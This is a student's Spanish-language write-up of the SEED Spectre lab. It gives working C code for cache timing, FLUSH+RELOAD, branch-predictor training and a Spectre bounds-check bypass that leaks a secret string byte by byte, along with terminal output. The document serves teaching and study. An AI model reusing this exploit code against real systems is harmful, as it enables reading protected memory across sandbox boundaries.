Spectre

- **Compilación:** $ gcc -march=native -o myprog myprog.c Añadir instrucciones de CPU
- **SideChannel:** utilizamos como canal encubierto (Side Channel) la memoria caché de la CPU. **FLUSH+RELOAD:** borramos de la caché el array, y cargamos solamente el valor que nos interesa para poder comparar tiempos.

Tarea 1. Lectura cache/memoria ppal. CacheTime.c

Listado 1: CacheTime.c

```
#include <emmintrin.h>
#include <x86intrin.h>

uint8_t array[10*4096];

int main(int argc, const char **argv) {
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;

  // Initialize the array
  for(i=0; i<10; i++) array[i*4096]=1;

  // FLUSH the array from the CPU cache
  for(i=0; i<10; i++) _mm_clflush(&array[i*4096]);

  // Access some of the array items
  array[3*4096] = 100;
  array[7*4096] = 200;

  for(i=0; i<10; i++) {
    addr = &array[i*4096];
    time1 = __rdtscp(&junk);                ①
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;        ②
    printf("Access time for array[%d*4096]: %d CPU cycles\n",i, (int)time2);
  }
  return 0;
}
```

1 y 2 leen el tiempo antes y después de la lectura de memoria (junk=*addr)

¿Son el acceso al array[3*4096] y al array[7*4096] más rápidos que los accesos al resto de elementos? ¿Por qué? Sí, son más rápidos que el resto de accesos porque al inicializarse array[3*4096] y array[7*4096] se almacenan en la memoria caché, mientras el resto fueron flusheados de esta por lo que se accede desde la memoria principal y tardan más.

Deberías ejecutar el programa al menos 10 veces y describir tus observaciones. Del experimento, necesitas encontrar un umbral que se pueda utilizar para distinguir estos dos tipos de acceso a la memoria: CACHE_HIT_THRESHOLD.

Accesos a caché: van desde 70 CPU cycles a 192.
CACHE_HIT_THRESHOLD = 90 CPU cycles

Accesos memoria principal: van desde 220 hasta 1600

```
Access time for array[0*4096]: 1633 CPU cycles
Access time for array[1*4096]: 251 CPU cycles
Access time for array[2*4096]: 290 CPU cycles
Access time for array[3*4096]: 128 CPU cycles
Access time for array[4*4096]: 241 CPU cycles
Access time for array[5*4096]: 251 CPU cycles
Access time for array[6*4096]: 306 CPU cycles
Access time for array[7*4096]: 154 CPU cycles
Access time for array[8*4096]: 274 CPU cycles
Access time for array[9*4096]: 218 CPU cycles
[10/28/20]seed@VM:~/.../Spectre_Attack$ ./a.out +
Access time for array[0*4096]: 1202 CPU cycles
Access time for array[1*4096]: 294 CPU cycles
Access time for array[2*4096]: 266 CPU cycles
Access time for array[3*4096]: 108 CPU cycles
Access time for array[4*4096]: 274 CPU cycles
Access time for array[5*4096]: 235 CPU cycles
Access time for array[6*4096]: 310 CPU cycles
Access time for array[7*4096]: 168 CPU cycles
Access time for array[8*4096]: 251 CPU cycles
Access time for array[9*4096]: 267 CPU cycles
```

Tarea 2. Usar la caché como side channel. Flush and reload

1. Borra (FLUSH) todo el array de la memoria caché.
2. Llama a la función víctima, que accede a uno de los elementos del array en función del valor del secreto. Esto hará que dicho elemento de array se almacene en caché.
3. Recarga (RELOAD) el array completo y mide el tiempo que lleva recargar cada elemento. Si el tiempo de carga de un elemento es rápido, estará en la caché.

- El almacenamiento en caché se realiza a nivel de bloque, no de byte. Por lo que crearemos un array de 256 (todos los posibles valores) * 4096 bytes (tamaño mayor de un bloque tradicional, que son 64 bytes).
- El array array[0*4096] puede caer en el mismo bloque que las variables de la memoria adyacente, puede ser cacheado accidentalmente, por lo que hay que evitarlo. Para esto añadimos DELTA (1024) → array[k*4096+DELTA]

```
void flushSideChannel()
{
  int i;

  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
  // Flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}

void victim()
{
  temp = array[secret*4096 + DELTA];
}

void reloadSideChannel()
{
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  for(i = 0; i < 256; i++){
     addr = &array[i*4096 + DELTA];
     time1 = __rdtscp(&junk);
     junk = *addr;
     time2 = __rdtscp(&junk) - time1;
     if (time2 <= CACHE_HIT_THRESHOLD){
         printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
         printf("The Secret = %d.\n",i);
     }
  }
}

int main(int argc, const char **argv)
{
  flushSideChannel();
  victim();
  reloadSideChannel();
  return (0);
}
```

➔ Flusheamos array

➔ Cacheamos el array (índice secreto, 94)

➔ Hago un for que recorra el array, y si el tiempo de carga es menos al umbral, imprimo que está en memoria caché.

Compila el programa como antes y ejecútalo. Hay que tener en cuenta que la técnica no es totalmente precia, los ataques de canal encubierto son probabilísticos. Ejecuta el programa al menos 20 veces y cuenta cuántas veces obtienes el secreto (94) correctamente.

18 veces de 20 consigue el secreto

Tarea 3: Ejecución especulativa, predicción de salto: Spectre Experiment

- **Ejecución especulativa:** ese if supone cargar en memoria size, y compararlo con x. Si size no está en caché, puede tardar en cargarse y empezará a especular.

```
1  data = 0;
2  if (x < size) {
3     data = data + 5;
4  }
```

```
void victim(size_t x)
{
  if (x < size) {                          ①
     temp = array[x * 4096 + DELTA];       ②
  }
}

int main()
{
  int i;

  // FLUSH the probing array
  flushSideChannel();

  // Train the CPU to take the true branch inside victim()
  for (i = 0; i < 10; i++) {               ③
     _mm_clflush(&size);                   ☆
     victim(i);                            ④
  }

  // Exploit the out-of-order execution
  _mm_clflush(&size);                      ☆
  for (i = 0; i < 256; i++)
    _mm_clflush(&array[i*4096 + DELTA]);
  victim(97);                              ⑤

  // RELOAD the probing array
  reloadSideChannel();
  return (0);
}
```

➔ La línea 2 se ejecutará si hay especulación, cargando en caché el array el índice del secreto.

➔ Entrenamos a la CPU con un for que realice la comprobación verdadera muchas veces. Flusheamos size para entrenar la especulación a verdadera.

➔ Flusheamos size para que la comprobación especule. Lanzamos el ataque con un numero que hará que sea falso.

➔ Recuperamos el secreto

Ejecútalo y describe tus observaciones. Puede haber algo de ruido debido a elementos adicionales cacheados por la CPU. Observa si la Línea ② se ejecuta o no cuando se pasa 97 como argumento a victim().

Se ejecuta, carga en saché el secreto y lo recuperamos.

Haz también lo siguiente: Comenta las líneas marcadas con ∂ y vuelve a ejecutar. Explica tu observación.

Al comentar esas líneas no flusheamos la cache de la variable size. No funciona, porque al estar en memoria caché la comparación del if es más rápida y por tanto no tarde en especular.

Haz también lo siguiente: Reemplaza la Línea ④con victim(i + 20); ejecuta el código nuevamente y explica tu observación. ¿Ha cambiado algo? ¿Por qué?

La condición del if nunca se cumplirá, pues estamos entrenando a la CPU para que la condición sea falsa, por lo que no hará la predicción que queremos. Entonces no especulará cuando queremos utilizar el gadget y no averiguaremos el secreto.

Tarea 4. Explotación de Spectre

- La explotación de Spectre usa estos rastros para robar secretos: pueden ser datos de otro proceso o datos del mismo proceso. Si los datos secretos están en otro proceso, el aislamiento del proceso a nivel de hardware evita que un proceso robe datos de otro. Si los datos están en el mismo proceso, la protección generalmente se realiza a través de software, como los mecanismos de sandbox.
- uint8_t equivalent to byte or Byte (unsigned byte)

Compila y ejecuta SpectreAttack.c. Describe lo que observes e indica si eres capaz de robar el valor secreto. Si hay mucho ruido en el Side channel, es posible que no devuelva siempre resultados coherentes. Muy pocas veces consigo el secreto debido al ruido. Casi siempre me da 0, no 83.

```
// Sandbox Function
uint8_t restrictedAccess(size_t x)
{
  if (x < buffer_size) {
     return buffer[x];
  } else {
     return 0;
  }
}

void spectreAttack(size_t larger_x)
{
  int i;
  uint8_t s;

  // Train the CPU to take the true branch inside restrictedAccess().
  for (i = 0; i < 10; i++) { restrictedAccess(i); }

  // Flush buffer_size and array[] from the cache.
  _mm_clflush(&buffer_size);
  for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }

  // Ask restrictedAccess() to return the secret in out-of-order execution.
  s = restrictedAccess(larger_x);                      ②
  array[s*4096 + DELTA] += 88;                         ③
}

int main()
{
  flushSideChannel();
  size_t larger_x = (size_t)(secret - (char*)buffer);  ④
  spectreAttack(larger_x);
  reloadSideChannel();
  return (0);
}
```

➔ Función que especulará y nos devolverá buffer[x], el secreto

➔ Entrenamos CPU

➔ Flusheamos variable size y el array

➔ Llamamos a la función víctima, especulará y ejecutará la línea 3, cacheando en nuestro array el secreto.

➔ Calculamos la distancia desde nuestro array al secreto

Tarea 5. Mejorar la precisión del ataque

Puedes observar que cuando se ejecuta el código anterior, el que tiene la puntuación más alta siempre es scores[0]. Averigua el motivo y corrige el código anterior.

Porque coincide con variables de la memoria adyacente.

Todo es igual, pero se añade un array de scores para mejorar la precisión.

```
void reloadSideChannelImproved()
{
  int i;
  volatile uint8_t *addr;
  register uint64_t time1, time2;
  int junk = 0;
  for (i = 0; i < 256; i++) {
     addr = &array[i * 4096 + DELTA];
     time1 = __rdtscp(&junk);
     junk = *addr;
     time2 = __rdtscp(&junk) - time1;
     if (time2 <= CACHE_HIT_THRESHOLD)
        scores[i]++; /* if cache hit, add 1 for this value */
  }
}
```

```
for (i = 0; i < 256;  i++) scores[i] = 0;
for (i = 0; i < 1000; i++) {
    spectreAttack(larger_x);
    reloadSideChannelImproved();
}

int max = 0;
for (i = 0; i < 256; i++){
   if(scores[max] < scores[i])  max = i;
}

printf("Reading secret value at %p = ", (void*)larger_x);
printf("The  secret value is %d\n", max);
printf("The number of hits is %d\n", scores[max]);
return (0);
```

```
Reading secret value at 0xffffe85c =
is 83
The number of hits is 165
[10/28/20]seed@VM:~/.../Spectre_Attac
tackImproved.c
[10/28/20]seed@VM:~/.../Spectre_Attac
asuper
Reading secret value at 0xffffe85c =
is 83
The number of hits is 115
[10/28/20]seed@VM:~/.../Spectre_Attac
asuper
Reading secret value at 0xffffe85c =
is 83
The number of hits is 128
[10/28/20]seed@VM:~/.../Spectre_Attac
asuper
Reading secret value at 0xffffe85c =
is 83
The number of hits is 263
```

Corregirlo:

- Empezar el for en 1

```
int max = 1;
for (i = 1; i < 256; i++){
 if(scores[max] < scores[i])
   max = i;
}
```

- Antes de hacer las comparaciones y contadores de los scores, pensé en que si justo antes se hacía un flush del bloque de memoria 0, que es el que tiene todo el ruido por culpa de las variables, debería funcionar. En efecto, funciona.

```
  for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }
  // Ask victim() to return the secret in out-of-order execution.
  for (z = 0; z < 100; z++) { }
  s = restrictedAccess(larger_x);
  array[s*4096 + DELTA] += 88;

  _mm_clflush(&array[0 + DELTA]);
}
```

Se realiza justo después de cachear el secreto, para que al hacer las comparaciones no de problemas.

Tarea 6. Robar todo el String secret.

Al meter buffer[S], me devuelve en realidad buffer[83], siendo 83 el int del char 'S'. Por lo que, si lo convierto de vuelta a char dará S.

```
printf("Reading secret value at %p = ", (void*)larger_x);
  char sec = (char) max;
printf("The  secret value is %c\n", max);
printf("The number of hits is %d\n", scores[max]);
```

Hago un do while el char obtenido no sea \0, porque sabemos que ese es el carácter final de un String en c.

```
int main() {
  int i;
  uint8_t s;
  size_t larger_x = (size_t)(secret-(char*)buffer);

//for(int aux=0; aux<lSec; aux++){
int aux=0;
char sec;
do{
          flushSideChannel();
          for(i=0;i<256; i++) scores[i]=0;
          for (i = 0; i < 1000; i++) {
            spectreAttack(larger_x + aux);
            reloadSideChannelImproved();
          }
          int max = 0;
          for (i = 0; i < 256; i++){
           if(scores[max] < scores[i])
              max = i;
          }

          printf("Reading secret value at %p = ", (void*)larger_x+aux);
             sec = (char) max;
          printf("The  secret value is %c\n", max);
        //  printf("The number of hits is %d\n", scores[max]);
        aux++;
}while(sec != '\0');
  return (0);
}
```

```
[10/30/20]seed@VM:~/.../Spectre_Attack$ ./tomaelsecreto
Reading secret value at 0xffffe82c = The  secret value is S
Reading secret value at 0xffffe82c = The  secret value is o
Reading secret value at 0xffffe82c = The  secret value is m
Reading secret value at 0xffffe82c = The  secret value is e
Reading secret value at 0xffffe82c = The  secret value is
Reading secret value at 0xffffe82c = The  secret value is S
Reading secret value at 0xffffe82c = The  secret value is e
Reading secret value at 0xffffe82c = The  secret value is c
Reading secret value at 0xffffe82c = The  secret value is r
Reading secret value at 0xffffe82c = The  secret value is e
Reading secret value at 0xffffe82c = The  secret value is t
Reading secret value at 0xffffe82c = The  secret value is
Reading secret value at 0xffffe82c = The  secret value is V
Reading secret value at 0xffffe82c = The  secret value is a
Reading secret value at 0xffffe82c = The  secret value is l
Reading secret value at 0xffffe82c = The  secret value is u
Reading secret value at 0xffffe82c = The  secret value is e
[10/30/20]seed@VM:~/.../Spectre_Attack$
```